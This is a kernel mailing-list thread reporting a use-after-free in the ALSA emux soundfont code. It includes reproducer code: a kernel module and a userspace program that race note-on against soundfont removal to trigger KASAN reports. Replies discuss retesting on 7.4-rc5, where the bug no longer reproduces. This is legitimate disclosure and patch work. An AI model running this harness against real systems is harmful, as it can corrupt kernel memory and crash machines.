static int sr_sample_new(struct snd_emux *e, struct snd_sf_sample *sp,
struct snd_util_memhdr *hdr,
const void __user *data, long count)
{
sp->block = snd_util_mem_alloc(hdr, count > 0 ? count : 256);
if (!sp->block)
return -ENOMEM;
return 0;
}
static int sr_sample_free(struct snd_emux *e, struct snd_sf_sample *sp,
struct snd_util_memhdr *hdr)
{
if (sp->block) {
snd_util_mem_free(hdr, sp->block);
sp->block = NULL;
}
return 0;
}
static void sr_sample_reset(struct snd_emux *e)
{
snd_emux_terminate_all(e); /* same as snd_emu8000_sample_reset() */
}
/*
* SYNTH-MR-01's practically exploitable variant is the EMU10K1 backend
* (emu10k1_ops has NO .sample_reset, emu10k1_callback.c:51-63): removals
* then never terminate playing voices, so snd_emux_voice::block/::zone stay
* dangling after snd_emu10k1_synth_free()/kfree(sp) and every later
* terminate (e.g. voice recycle in note_on) dereferences the freed block.
* Default to that audited shape; sample_reset_en=1 switches to the EMU8000
* shape (snd_emu8000_patch.c registers snd_emu8000_sample_reset).
*/
static int sample_reset_en;
module_param(sample_reset_en, int, 0400);
static const struct snd_emux_operators sr_ops = {
.owner = THIS_MODULE,
.get_voice = sr_get_voice,
.prepare = sr_start_voice,
.trigger = sr_trigger,
.release = sr_release,
.update = sr_update,
.terminate = sr_terminate,
.sample_new = sr_sample_new,
.sample_free = sr_sample_free,
};
/* ---- shared setup/teardown ---- */
/*
* snd_emux_note_on() and the snd_soundfont_remove_*() bodies are real,
* non-exported global symbols of snd-emux-synth.ko. Resolve them at runtime
* via kprobe registration (kprobe-addr method, same technique as
* kmod/nmi/nmi_race.c) and call them through their exact prototypes.
*/
typedef void (*sr_note_on_t)(void *port, int note, int vel,
struct snd_midi_channel *chan);
typedef int (*sr_sf_op_t)(struct snd_sf_list *sflist);
static sr_note_on_t sr_note_on;
static sr_sf_op_t sr_remove_unlocked;
static sr_sf_op_t sr_remove_samples;
static void *sr_kallsym(const char *name)
{
struct kprobe kp;
void *addr;
memset(&kp, 0, sizeof(kp));
kp.symbol_name = name;
if (register_kprobe(&kp) < 0) {
pr_err("kallsym(%s) failed\n", name);
return NULL;
}
addr = kp.addr;
unregister_kprobe(&kp);
return addr;
}
static int sr_resolve_syms(void)
{
sr_note_on = (sr_note_on_t)sr_kallsym("snd_emux_note_on");
sr_remove_unlocked =
(sr_sf_op_t)sr_kallsym("snd_soundfont_remove_unlocked");
sr_remove_samples =
(sr_sf_op_t)sr_kallsym("snd_soundfont_remove_samples");
return sr_note_on && sr_remove_unlocked && sr_remove_samples ?
0 : -ENOENT;
}
static int sr_emux_setup(void)
{
int err;
err = snd_emux_new(&emu);
if (err < 0)
return err;
emu->ops = sr_ops;
if (sample_reset_en)
emu->ops.sample_reset = sr_sample_reset;
emu->hw = card; /* non-NULL "hardware"; never dereferenced */
emu->max_voices = 8;
emu->num_ports = 1;
emu->midi_ports = 0; /* skip virmidi: not needed for these cases */
emu->hwdep_idx = 0; /* /dev/snd/hwC0D0 */
emu->linear_panning = 0;
emu->memhdr = snd_util_memhdr_new(0x100000);
if (!emu->memhdr) {
snd_emux_free(emu);
emu = NULL;
return -ENOMEM;
}
err = snd_emux_register(emu, card, 0, "synthrace");
if (err < 0) {
pr_err("snd_emux_register failed: %d\n", err);
snd_util_memhdr_free(emu->memhdr);
snd_emux_free(emu);
emu = NULL;
return err;
}
/*
* The real emu10k1 flow nests snd_emux_register() inside the outer
* snd_card_register() (seq-device probe), which then registers the
* emux proc entry created above. Replicate that final registration.
*/
snd_card_register(card);
pr_info("emux registered: hwdep=hwC0D0 sflist=%p proc ready\n",
emu->sflist);
return 0;
}
static void sr_card_new(void)
{
int err;
parent = root_device_register("synthrace");
if (IS_ERR(parent)) {
parent = NULL;
return;
}
err = snd_card_new(parent, 0, "synthrace", THIS_MODULE, 0, &card);
if (err < 0) {
pr_err("snd_card_new failed: %d\n", err);
root_device_unregister(parent);
parent = NULL;
card = NULL;
}
}
/* ---- MR-01 natural hammering ---- */
static unsigned int nat_secs = 25;
module_param(nat_secs, uint, 0400);
static struct task_struct *noteon_thr;
static struct task_struct *remove_thr;
static int noteon_fn(void *arg)
{
struct snd_emux_port *port;
struct snd_midi_channel *chan;
unsigned long until = jiffies + nat_secs * HZ;
port = emu->portptrs[0];
if (!port) {
pr_err("mr01nat: no port\n");
return 0;
}
chan = &port->chset.channels[0];
pr_info("mr01nat: note_on hammer starts\n");
while (!kthread_should_stop() && time_before(jiffies, until)) {
sr_note_on(port, 60, 100, chan);
cond_resched();
}
pr_info("mr01nat: note_on hammer done\n");
return 0;
}
static int remove_fn(void *arg)
{
unsigned long until = jiffies + nat_secs * HZ;
int n = 0;
pr_info("mr01nat: remove hammer starts\n");
while (!kthread_should_stop() && time_before(jiffies, until)) {
/* these are the exact bodies of the hwdep ioctls
* SNDRV_EMUX_IOCTL_REMOVE_LAST_SAMPLES / RESET_SAMPLES
*
* Throttled to ~2.5k/s: at unthrottled rates the removal
* outpaces the userspace loader and the soundfont spends its
* life empty, starving note_on of zones (see first mr01nat
* run: 5.5M removes, 0 collisions). The audit race needs the
* font alive while note_on is inside its table[] window.
*/
/* REMOVE_LAST_SAMPLES body only: unlike remove_samples()
* (snd_sf_clear -> snd_sf_init) it keeps currsf/open_client
* intact so the userspace loader can keep re-arming the font,
* while still freeing the very zone/sample/block trio of the
* audited SYNTH-MR-01 chain */
sr_remove_unlocked(emu->sflist);
n++;
usleep_range(200, 500);
}
pr_info("mr01nat: remove hammer done (%d cycles)\n", n);
return 0;
}
static int mr01nat_set(const char *val, const struct kernel_param *kp)
{
if (!emu || !emu->portptrs[0])
return -ENODEV;
noteon_thr = kthread_run(noteon_fn, NULL, "synthrace_noteon");
remove_thr = kthread_run(remove_fn, NULL, "synthrace_remove");
return 0;
}
static const struct kernel_param_ops mr01nat_ops = { .set = mr01nat_set };
module_param_cb(mr01nat, &mr01nat_ops, NULL, 0200);
/* ---- MR-01 controlled window (park inside sr_get_voice, see above) ---- */
static struct completion mr01_done;
static int mr01_noteon_once(void *arg)
{
struct snd_emux_port *port;
struct snd_midi_channel *chan;
port = emu->portptrs[0];
chan = &port->chset.channels[0];
atomic_set(&sr_start_calls, 0);
sr_note_on(port, mr01_note, mr01_vel, chan);
pr_info("mr01ctl: note_on returned, start_voice calls=%d\n",
atomic_read(&sr_start_calls));
complete(&mr01_done);
return 0;
}
static int mr01ctl_set(const char *val, const struct kernel_param *kp)
{
struct task_struct *t;
int rc;
if (!emu || !emu->portptrs[0])
return -ENODEV;
if (!sr_note_on || !sr_remove_unlocked || !sr_remove_samples)
return -ENOENT;
init_completion(&mr01_done);
atomic_set(&mr01_stalled, 0);
atomic_set(&mr01_armed, 1);
t = kthread_run(mr01_noteon_once, NULL, "synthrace_ctl");
if (IS_ERR(t)) {
atomic_set(&mr01_armed, 0);
return PTR_ERR(t);
}
/* wait until the note_on thread is actually parked mid-window */
{
unsigned long deadline = jiffies + msecs_to_jiffies(8000);
while (!atomic_read(&mr01_stalled) &&
time_before(jiffies, deadline))
msleep(1);
}
if (!atomic_read(&mr01_stalled)) {
atomic_set(&mr01_armed, 0);
wait_for_completion_timeout(&mr01_done,
msecs_to_jiffies(2000));
pr_err("mr01ctl: note_on never parked; aborted\n");
return -EIO;
}
/* free zone/sample/block underneath the parked note_on */
pr_info("mr01ctl: running snd_soundfont_remove_unlocked()\n");
rc = sr_remove_unlocked(emu->sflist);
pr_info("mr01ctl: remove_unlocked returned %d\n", rc);
msleep(50);
atomic_set(&mr01_armed, 0); /* release: cascaded UAF now */
wait_for_completion_timeout(&mr01_done, msecs_to_jiffies(10000));
pr_info("mr01ctl: done\n");
return 0;
}
static const struct kernel_param_ops mr01ctl_ops = { .set = mr01ctl_set };
module_param_cb(mr01ctl, &mr01ctl_ops, NULL, 0200);
static int probe_set(const char *val, const struct kernel_param *kp)
{
struct snd_emux_port *port;
struct snd_midi_channel *chan;
if (!emu || !emu->portptrs[0])
return -ENODEV;
port = emu->portptrs[0];
chan = &port->chset.channels[0];
atomic_set(&sr_start_calls, 0);
pr_info("probe: pre note_on presets_locked=%d fonts=%d zone_ctr=%d\n",
emu->sflist->presets_locked, emu->sflist->fonts_size,
emu->sflist->zone_counter);
sr_note_on(port, 60, 100, chan);
pr_info("probe: note_on done, start_voice calls=%d\n",
atomic_read(&sr_start_calls));
return 0;
}
static const struct kernel_param_ops probe_ops = { .set = probe_set };
module_param_cb(probe, &probe_ops, NULL, 0200);
/* ---- MR-03/MR-04 trigger: sub-driver remove body ---- */
static int free_set(const char *val, const struct kernel_param *kp)
{
if (!emu)
return -ENODEV;
pr_info("free: calling snd_emux_free() (sub-driver remove body)\n");
snd_emux_free(emu);
emu = NULL;
pr_info("free: done\n");
return 0;
}
static const struct kernel_param_ops free_ops = { .set = free_set };
module_param_cb(free, &free_ops, NULL, 0200);
/* ---- module plumbing ---- */
static int __init synthrace_init(void)
{
int ret;
ret = sr_resolve_syms();
if (ret < 0)
return ret;
sr_card_new();
if (!card)
return -ENODEV;
return sr_emux_setup();
}
static void __exit synthrace_exit(void)
{
if (noteon_thr)
kthread_stop(noteon_thr);
if (remove_thr)
kthread_stop(remove_thr);
if (emu) {
snd_emux_free(emu);
emu = NULL;
}
if (card) {
snd_card_free(card);
card = NULL;
}
if (parent) {
root_device_unregister(parent);
parent = NULL;
}
}
module_init(synthrace_init);
module_exit(synthrace_exit);
MODULE_LICENSE("GPL");
MODULE_DESCRIPTION("emux SYNTH-MR-01/03/04 race verification harness");
[-- Attachment #3: synth_test.c --]
[-- Type: text/plain, Size: 8705 bytes --]
// SPDX-License-Identifier: GPL-2.0
/*
* synth_test.c - userspace driver for the emux race verification harness.
*
* Plans:
* load [secs] - open /dev/snd/hwC0D0 and load a soundfont through the
* REAL hwdep SNDRV_EMUX_IOCTL_LOAD_PATCH path
* (OPEN_PATCH + LOAD_DATA + LOAD_INFO), then keep the
* fd open. Writes /tmp/synth_loaded when done.
* reload [secs] - same, but keeps re-issuing LOAD_DATA+LOAD_INFO in a
* loop (font gets eaten by the kernel-side removal
* hammer in plan mr01nat).
* mr03 [iters] - open hwdep and hammer ioctls (VERSION / MEM_AVAIL /
* MISC_MODE) - the in-flight side of SYNTH-MR-03.
* mr04 [iters] - hammer open+read+close on
* /proc/asound/card0/wavetableD0 - the reader side of
* SYNTH-MR-04.
* mr04hold - open the proc file, print "HOLD", sleep 3s (the host
* script frees emux in between), then read again -
* delayed-UAF variant of SYNTH-MR-04.
* mr05 - poll for /dev/snd/hwC0D0 (probe-window race), open it
* and issue SNDRV_EMUX_IOCTL_MISC_MODE - the NULL-deref
* side of SYNTH-MR-05.
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <time.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <sound/asound.h>
#include "include/sound/sfnt_info.h"
/* ---- soundfont binary construction (wire format of
* sound/synth/emux/soundfont.c) ---- */
static void patch_hdr(unsigned char *p, int type, int len, int optarg)
{
struct soundfont_patch_info h;
memset(&h, 0, sizeof(h));
h.key = SNDRV_OSS_SOUNDFONT_PATCH;
h.device_no = 0;
h.sf_id = 0;
h.optarg = optarg;
h.len = len;
h.type = type;
memcpy(p, &h, sizeof(h));
}
static int sf_load(int fd)
{
unsigned char buf[512];
struct soundfont_open_parm parm;
struct soundfont_sample_info si;
struct soundfont_voice_rec_hdr rh;
struct soundfont_voice_info vi;
int rc;
/* OPEN_PATCH */
memset(&parm, 0, sizeof(parm));
parm.type = SNDRV_SFNT_PAT_TYPE_MISC | SNDRV_SFNT_PAT_SHARED;
strcpy(parm.name, "synthrace");
patch_hdr(buf, SNDRV_SFNT_OPEN_PATCH, sizeof(parm), 0);
memcpy(buf + sizeof(struct soundfont_patch_info), &parm, sizeof(parm));
rc = ioctl(fd, SNDRV_EMUX_IOCTL_LOAD_PATCH, buf);
if (rc < 0) {
/* font already open from an earlier round */
if (errno == EBUSY)
return 0;
fprintf(stderr, "LOAD_PATCH OPEN: %s\n", strerror(errno));
return -1;
}
/* LOAD_DATA: 1 sample, 64 s16le frames */
memset(&si, 0, sizeof(si));
si.sample = 1;
si.start = 0;
si.end = 64;
si.loopstart = 8;
si.loopend = 56;
si.size = 64;
si.mode_flags = SNDRV_SFNT_SAMPLE_NO_BLANK;
patch_hdr(buf, SNDRV_SFNT_LOAD_DATA, sizeof(si) + si.size * 2, 0);
memcpy(buf + sizeof(struct soundfont_patch_info), &si, sizeof(si));
memset(buf + sizeof(struct soundfont_patch_info) + sizeof(si), 0x7f,
si.size * 2);
rc = ioctl(fd, SNDRV_EMUX_IOCTL_LOAD_PATCH, buf);
if (rc < 0) {
fprintf(stderr, "LOAD_PATCH DATA: %s\n", strerror(errno));
return -1;
}
/* LOAD_INFO: one zone, bank 0 / instr 0, note 0..127, vel 0..127,
* exclusiveClass = 1, tied to sample 1 */
memset(&vi, 0, sizeof(vi));
vi.sf_id = 0;
vi.sample = 1;
vi.root = 60;
vi.high = 127;
vi.velhigh = 127;
vi.fixkey = -1;
vi.fixvel = -1;
vi.fixpan = -1;
vi.pan = -1;
vi.amplitude = 127;
vi.scaleTuning = 100;
vi.exclusiveClass = 1;
memset(&rh, 0, sizeof(rh));
rh.bank = 0;
rh.instr = 0;
rh.nvoices = 1;
rh.write_mode = SNDRV_SFNT_WR_APPEND;
patch_hdr(buf, SNDRV_SFNT_LOAD_INFO,
sizeof(rh) + sizeof(vi), 0);
memcpy(buf + sizeof(struct soundfont_patch_info), &rh, sizeof(rh));
memcpy(buf + sizeof(struct soundfont_patch_info) + sizeof(rh),
&vi, sizeof(vi));
rc = ioctl(fd, SNDRV_EMUX_IOCTL_LOAD_PATCH, buf);
if (rc < 0) {
fprintf(stderr, "LOAD_PATCH INFO: %s\n", strerror(errno));
return -1;
}
/* CLOSE_PATCH -> close_patch() -> rebuild_presets(): zones loaded via
* LOAD_INFO only enter the preset table at close time (this is the
* real sfxload sequence), so note_on's search_zones() can find them */
patch_hdr(buf, SNDRV_SFNT_CLOSE_PATCH, 0, 0);
rc = ioctl(fd, SNDRV_EMUX_IOCTL_LOAD_PATCH, buf);
if (rc < 0) {
fprintf(stderr, "LOAD_PATCH CLOSE: %s\n", strerror(errno));
return -1;
}
return 0;
}
static int plan_load(int secs, int reload)
{
int fd, n = 0;
unsigned long until = (unsigned long)time(NULL) + (secs > 0 ? secs : 30);
fd = open("/dev/snd/hwC0D0", O_RDWR);
if (fd < 0) {
fprintf(stderr, "open hwC0D0: %s\n", strerror(errno));
return 1;
}
if (sf_load(fd) < 0) {
close(fd);
return 1;
}
printf("LOAD: font ready\n");
fflush(stdout);
int tf = open("/tmp/synth_loaded", O_WRONLY | O_CREAT | O_TRUNC, 0644);
if (tf >= 0)
close(tf);
while (reload && (unsigned long)time(NULL) < until) {
/* re-load data+info; kernel-side hammer eats the font */
if (sf_load(fd) < 0)
break;
n++;
usleep(2000);
}
printf("LOAD: done (%d reloads)\n", n);
/* keep the fd open until the plan ends (exclusive hwdep) */
sleep(secs > 0 ? secs : 30);
close(fd);
return 0;
}
static int plan_mr03(int iters)
{
int fd, i;
struct snd_emux_misc_mode mm;
unsigned int ver = 0;
int avail = 0;
fd = open("/dev/snd/hwC0D0", O_RDWR);
if (fd < 0) {
fprintf(stderr, "open hwC0D0: %s\n", strerror(errno));
return 1;
}
printf("MR03: hammering %d ioctl iterations\n", iters);
fflush(stdout);
for (i = 0; i < iters; i++) {
ioctl(fd, SNDRV_EMUX_IOCTL_VERSION, &ver);
ioctl(fd, SNDRV_EMUX_IOCTL_MEM_AVAIL, &avail);
memset(&mm, 0, sizeof(mm));
mm.port = -1;
mm.mode = 0;
mm.value = 0;
ioctl(fd, SNDRV_EMUX_IOCTL_MISC_MODE, &mm);
if ((i % 128) == 0) {
printf("MR03: iter %d\n", i);
fflush(stdout);
}
usleep(100);
}
printf("MR03: closing\n");
fflush(stdout);
close(fd);
sleep(2);
close(open("/dev/snd/hwC0D0", O_RDWR)); /* delayed variant: reopen */
printf("MR03: done\n");
return 0;
}
static int plan_mr04(int iters)
{
int i;
printf("MR04: hammering %d proc-read iterations\n", iters);
fflush(stdout);
for (i = 0; i < iters; i++) {
char buf[4096];
int fd = open("/proc/asound/card0/wavetableD0", O_RDONLY);
if (fd >= 0) {
ssize_t r = read(fd, buf, sizeof(buf));
(void)r;
close(fd);
}
if ((i % 128) == 0) {
printf("MR04: iter %d\n", i);
fflush(stdout);
}
usleep(500);
}
printf("MR04: done\n");
return 0;
}
static int plan_mr04hold(void)
{
char buf[4096];
int fd;
fd = open("/proc/asound/card0/wavetableD0", O_RDONLY);
if (fd < 0) {
fprintf(stderr, "open proc: %s\n", strerror(errno));
return 1;
}
printf("MR04HOLD: fd open, reading once\n");
fflush(stdout);
read(fd, buf, sizeof(buf));
printf("MR04HOLD: holding fd for 4s (free happens now)\n");
fflush(stdout);
sleep(4);
off_t ls = lseek(fd, 0, SEEK_SET);
printf("MR04HOLD: delayed read on stale fd (lseek=%ld)\n", (long)ls);
fflush(stdout);
ssize_t rr = read(fd, buf, sizeof(buf));
printf("MR04HOLD: stale read rc=%zd errno=%d\n", rr, rr < 0 ? errno : 0);
fflush(stdout);
printf("MR04HOLD: done\n");
close(fd);
return 0;
}
static int plan_mr05(void)
{
int fd, tries;
struct snd_emux_misc_mode mm;
for (tries = 0; tries < 5000; tries++) {
struct stat st;
if (stat("/dev/snd/hwC0D0", &st) == 0)
break;
usleep(1000);
}
if (tries >= 5000) {
fprintf(stderr, "MR05: hwC0D0 never appeared\n");
return 1;
}
fd = open("/dev/snd/hwC0D0", O_RDWR);
if (fd < 0) {
fprintf(stderr, "MR05: open: %s\n", strerror(errno));
return 1;
}
printf("MR05: opened inside probe window, issuing MISC_MODE\n");
fflush(stdout);
memset(&mm, 0, sizeof(mm));
mm.port = -1;
mm.mode = 0;
mm.value = 0;
ioctl(fd, SNDRV_EMUX_IOCTL_MISC_MODE, &mm);
printf("MR05: ioctl returned rc=%d (%s)\n", fd, strerror(errno));
fflush(stdout);
close(fd);
return 0;
}
int main(int argc, char **argv)
{
if (argc < 2) {
fprintf(stderr, "usage: synth_test <plan> [arg]\n");
return 2;
}
if (!strcmp(argv[1], "load"))
return plan_load(argc > 2 ? atoi(argv[2]) : 30, 0);
if (!strcmp(argv[1], "reload"))
return plan_load(argc > 2 ? atoi(argv[2]) : 30, 1);
if (!strcmp(argv[1], "mr03"))
return plan_mr03(argc > 2 ? atoi(argv[2]) : 3000);
if (!strcmp(argv[1], "mr04"))
return plan_mr04(argc > 2 ? atoi(argv[2]) : 2000);
if (!strcmp(argv[1], "mr04hold"))
return plan_mr04hold();
if (!strcmp(argv[1], "mr05"))
return plan_mr05();
fprintf(stderr, "unknown plan %s\n", argv[1]);
return 2;
}
^ permalink raw reply [flat|nested] 101+ messages in thread* Re: [PATCH 0/2] ALSA: emux: fix use-after-free of soundfont zones/samples between snd_emux_note_on() and soundfont removal paths (UAF)
2026-12-01 3:22 ` [PATCH 0/2] ALSA: emux: fix use-after-free of soundfont zones/samples between snd_emux_note_on() and soundfont removal paths (UAF) 徐晗翔
@ 2026-12-01 6:37 ` Takashi Iwai
2026-12-01 11:56 ` 徐晗翔
1 sibling, 0 replies; 101+ messages in thread
From: Takashi Iwai @ 2026-12-01 6:37 UTC (permalink / raw)
To: 徐晗翔; +Cc: perex, tiwai, linux-sound, linux-kernel
On Tue, 01 Dec 2026 04:22:23 +0100,
徐晗翔 wrote:
>
> snd_emux_note_on() obtains raw struct snd_sf_zone pointers from
> snd_soundfont_search_zone(), which drops sflist->lock on return, and
> then consumes them (exclusive-class read, sample/block chaining, a
> 92-byte register copy) with no lock, no reference count and no RCU
> protection, while four user-reachable soundfont removal paths
> (hwdep SNDRV_EMUX_IOCTL_REMOVE_LAST_SAMPLES / RESET_SAMPLES /
> LOAD_PATCH(REMOVE_INFO) and OSS SNDCTL_SEQ_RESETSAMPLES) kfree() the
> very same zones, samples and util-mem blocks under a disjoint mutex.
> The two sides share no lock domain (presets_mutex vs voice_lock), and
> the emu10k1 backend additionally keeps already-playing voices pointed
> at freed blocks because emu10k1_ops has no .sample_reset callback.
>
> Verified on mainline 7.3 with a KASAN kernel and the real in-tree
> snd-emux-synth module driven through its exported API (harness
> attached): an uninstrumented natural hammer (userspace soundfont
> load/unload loop through the real hwdep ioctl path vs kernel note_on
> loop) produced 133 slab-use-after-free reports in 25s across four
> distinct read points inside snd_emux_note_on(), with a closed
> alloc/free/use chain (alloc = sf_zone_new <- load_info <-
> snd_soundfont_load <- snd_emux_hwdep_ioctl <- real userspace ioctl;
> free = kfree <- snd_soundfont_remove_unlocked; use = snd_emux_note_on
> +0x225/0x75f/0x772/0x7ab). A controlled one-shot that parks note_on
> inside its window reproduces deterministically (6 reports). The
> in-flight window needs no privileges beyond access to the sound
> devices; consequences are kernel memory corruption (UAF reads plus a
> UAF write through the block pointer) and crashes.
>
> The detailed description:
>
> * Test environment / affected version
>
> Linux version 7.3.0 (gcc 13.3.0, GNU ld 2.42) #6 SMP
> PREEMPT_DYNAMIC -- vanilla mainline 7.3 tree, unmodified sources;
> KASAN enabled, QEMU/KVM x86_64 guest. The audited files
> (sound/synth/emux/*, sound/synth/util_mem.c,
> sound/pci/emu10k1/emu10k1_callback.c) are byte-identical between the
> tested tree and the report baseline. The bug predates 7.3 by many
> years (the emux split-probe model and the unlocked search are
> essentially unchanged since the 2.6 emux import); line numbers below
> are from 7.3.
7.3.0 is way too old for this kind of bug hunts via AI.
Could you verify the whole series (and your other patches) at least
with 7.4-rc5? At best with the latest linux-next tree, as some fixes
are postponed to 7.5. This may save a waste of time for both of us.
thanks,
Takashi
^ permalink raw reply [flat|nested] 101+ messages in thread
* Re: [PATCH 0/2] ALSA: emux: fix use-after-free of soundfont zones/samples between snd_emux_note_on() and soundfont removal paths (UAF)
2026-12-01 3:22 ` [PATCH 0/2] ALSA: emux: fix use-after-free of soundfont zones/samples between snd_emux_note_on() and soundfont removal paths (UAF) 徐晗翔
2026-12-01 6:37 ` Takashi Iwai
@ 2026-12-01 11:56 ` 徐晗翔
2026-12-01 12:15 ` Takashi Iwai
1 sibling, 1 reply; 101+ messages in thread
From: 徐晗翔 @ 2026-12-01 11:56 UTC (permalink / raw)
To: perex, tiwai; +Cc: linux-sound, linux-kernel
Update: this use-after-free no longer reproduces on v7.4-rc5 -- snd_emux_note_on() now holds sflist->lock across the whole zone-consumption window, and the same harness that produced 133 slab-use-after-free reports on 7.3 ran 33k+ soundfont removals against the note_on hammer with zero hits, so I consider this fixed in 7.4-rc5 and drop patch 2/2 (patch 1/2, the emu10k1 .sample_reset for the dangling-voice variant, is kept as a separate hardening suggestion).
Thanks.
> -----原始邮件-----
> 发件人: 徐晗翔 <xuhx@hust.edu.cn>
> 发送时间:2026-12-01 11:22:23 (星期二)
> 收件人: perex@perex.cz, tiwai@suse.com
> 抄送: linux-sound@vger.kernel.org, linux-kernel@vger.kernel.org
> 主题: [PATCH 0/2] ALSA: emux: fix use-after-free of soundfont zones/samples between snd_emux_note_on() and soundfont removal paths (UAF)
>
> snd_emux_note_on() obtains raw struct snd_sf_zone pointers from
> snd_soundfont_search_zone(), which drops sflist->lock on return, and
> then consumes them (exclusive-class read, sample/block chaining, a
> 92-byte register copy) with no lock, no reference count and no RCU
> protection, while four user-reachable soundfont removal paths
> (hwdep SNDRV_EMUX_IOCTL_REMOVE_LAST_SAMPLES / RESET_SAMPLES /
> LOAD_PATCH(REMOVE_INFO) and OSS SNDCTL_SEQ_RESETSAMPLES) kfree() the
> very same zones, samples and util-mem blocks under a disjoint mutex.
> The two sides share no lock domain (presets_mutex vs voice_lock), and
> the emu10k1 backend additionally keeps already-playing voices pointed
> at freed blocks because emu10k1_ops has no .sample_reset callback.
>
> Verified on mainline 7.3 with a KASAN kernel and the real in-tree
> snd-emux-synth module driven through its exported API (harness
> attached): an uninstrumented natural hammer (userspace soundfont
> load/unload loop through the real hwdep ioctl path vs kernel note_on
> loop) produced 133 slab-use-after-free reports in 25s across four
> distinct read points inside snd_emux_note_on(), with a closed
> alloc/free/use chain (alloc = sf_zone_new <- load_info <-
> snd_soundfont_load <- snd_emux_hwdep_ioctl <- real userspace ioctl;
> free = kfree <- snd_soundfont_remove_unlocked; use = snd_emux_note_on
> +0x225/0x75f/0x772/0x7ab). A controlled one-shot that parks note_on
> inside its window reproduces deterministically (6 reports). The
> in-flight window needs no privileges beyond access to the sound
> devices; consequences are kernel memory corruption (UAF reads plus a
> UAF write through the block pointer) and crashes.
>
> The detailed description:
>
> * Test environment / affected version
>
> Linux version 7.3.0 (gcc 13.3.0, GNU ld 2.42) #6 SMP
> PREEMPT_DYNAMIC -- vanilla mainline 7.3 tree, unmodified sources;
> KASAN enabled, QEMU/KVM x86_64 guest. The audited files
> (sound/synth/emux/*, sound/synth/util_mem.c,
> sound/pci/emu10k1/emu10k1_callback.c) are byte-identical between the
> tested tree and the report baseline. The bug predates 7.3 by many
> years (the emux split-probe model and the unlocked search are
> essentially unchanged since the 2.6 emux import); line numbers below
> are from 7.3.
>
> * Mechanism
>
> Two user-reachable contexts share soundfont objects with no common
> lock:
>
> - playback (sequencer event delivery -> snd_emux_note_on(),
> emux_synth.c:46-137): get_zone() -> snd_soundfont_search_zone()
> fills a stack array table[] with raw struct snd_sf_zone
> pointers and drops sflist->lock on return
> (soundfont.c:1241-1251). The exclusive-class read at
> emux_synth.c:70 happens outside any lock; the sample/block
> chaining (emux_synth.c:100-104), the 92-byte register copy in
> setup_voice() (emux_synth.c:532) and the backend prepare()
> (which dereferences vp->block, emu10k1: emem->map_locked++ in
> start_voice(), emu10k1_callback.c:330) all run under
> emu->voice_lock only.
>
> - removal (hwdep/OSS ioctls -> snd_soundfont_remove_unlocked() /
> snd_soundfont_remove_samples() / remove_info(), and
> snd_sf_free()): these take sflist->presets_mutex and set
> sflist->presets_locked = 1, which only gates *new* searches
> (soundfont.c:1241-1243) -- it never waits out searches that
> already returned -- and then kfree() the zones
> (soundfont.c:1468/1371/457), the samples via callback.sample_free
> -> __snd_util_mem_free() -> kfree(blk) (util_mem.c:137-143) and
> the samples themselves (soundfont.c:1479/1377).
>
> presets_mutex and voice_lock are disjoint: nothing in note_on takes
> presets_mutex, and nothing in the removal paths takes voice_lock
> (on emu10k1 the removal callback .sample_reset is missing entirely,
> emu10k1_callback.c:51-63 -- so removals do not even terminate
> playing voices, leaving vp->zone/vp->block dangling for the
> lifetime of the voice and turning every later note_off / voice
> recycle into a use of freed memory).
>
> Consequences observed with KASAN: UAF reads at four points in
> snd_emux_note_on (exclusive-class read outside any lock; the
> zone->sample->block chain; the setup_voice() register copy), a UAF
> read/write through the freed struct snd_util_memblk in the backend
> prepare/terminate hooks, and cascade effects: snd_emu10k1_memblk_map()
> walking a freed block's list nodes and programming the card page
> table from garbage fields.
>
> * Trigger model
>
> emu10k1 or emu8000 hardware with the synth sub-driver probed
> (emu10k1: seq_ports > 0, the default is 4). One process loads a
> soundfont through the hwdep device (the standard sfxload sequence),
> another delivers note-on events to the emux sequencer port, a third
> issues REMOVE_LAST_SAMPLES / RESET_SAMPLES ioctls. None of these
> need privileges beyond access to /dev/snd/*. Consequence: kernel
> memory corruption and crashes (DoS at minimum; the freed-object
> writes and the parameter copy that feeds hardware register
> computation are corruption primitives).
>
> * Reproducer and results on 7.3
>
> synthrace.c is a self-contained harness module: it creates a virtual
> snd_card and registers the REAL in-tree emux (snd_emux_new /
> snd_emux_register with a backend ops vector that mirrors
> emu10k1_callback.c, including the missing .sample_reset), then
> hammers the real snd_emux_note_on() and snd_soundfont_remove_unlocked()
> (resolved via kprobes, as they are not exported) from two kthreads
> while a userspace loader (synth_test.c) loads/reloads a real
> soundfont through the real hwdep ioctl path (OPEN_PATCH, LOAD_DATA,
> LOAD_INFO, CLOSE_PATCH -- the sfxload sequence). No kernel source
> modification; needs CONFIG_SND=y, CONFIG_SND_SEQUENCER=y,
> CONFIG_SND_HWDEP=y, CONFIG_SND_PROC_FS=y, CONFIG_KPROBES=y and the
> snd-emux-synth module (built by enabling CONFIG_SND_SYNTH_EMUX=m
> plus its deps; a config fragment is included in the reproducer
> README).
>
> Results (7.3, KASAN, 2 vCPU, 25s run):
>
> - natural, no artificial delays: 133 slab-use-after-free reports
> (samples in evidence/), all with the closed chain above;
> - controlled one-shot (note_on parked mid-window, removal runs
> underneath, release): 6 reports, deterministic;
> - an identical harness run with the soundfont removal disabled
> (sanity plan) stays clean, so the reports are attributable to
> the audited race and not to the harness.
>
> * Fix
>
> Two small patches:
>
> 1/2: emu10k1: register .sample_reset (terminate playing voices
> before their blocks/samples are freed). This is what
> snd_emu8000_sample_reset() already does for the emu8000
> backend, and it removes the long-lived dangling vp->zone /
> vp->block face entirely.
>
> 2/2: emux: make the removal paths wait out the in-flight note_on
> window. note_on publishes the window with an atomic counter
> from the moment the search returned until it finished consuming
> table[]; every freeing path that can release zones/samples
> (remove_unlocked, remove_samples, remove_info, snd_sf_free and
> the error-path sf_sample_delete) takes the preset lock first
> (which blocks new searches) and then waits for the counter to
> drain before freeing. The window never takes presets_mutex, so
> there is no lock inversion; all waiters are process context.
>
> The patches are a suggested direction, written against 7.3 and
> reviewed by inspection; they have not been runtime-validated
> (the reported reproduction used the unpatched kernel). Happy to
> test any counter-proposal.
>
> * Patch
>
> [PATCH 1/2] ALSA: emu10k1: terminate playing voices when soundfonts
> are removed
>
> Without a .sample_reset callback the emu10k1 backend never terminates
> voices when soundfont samples/zones are removed through the hwdep or
> OSS interfaces, so voices that are playing keep pointers into the
> freed struct snd_sf_zone / snd_sf_sample / snd_util_memblk and every
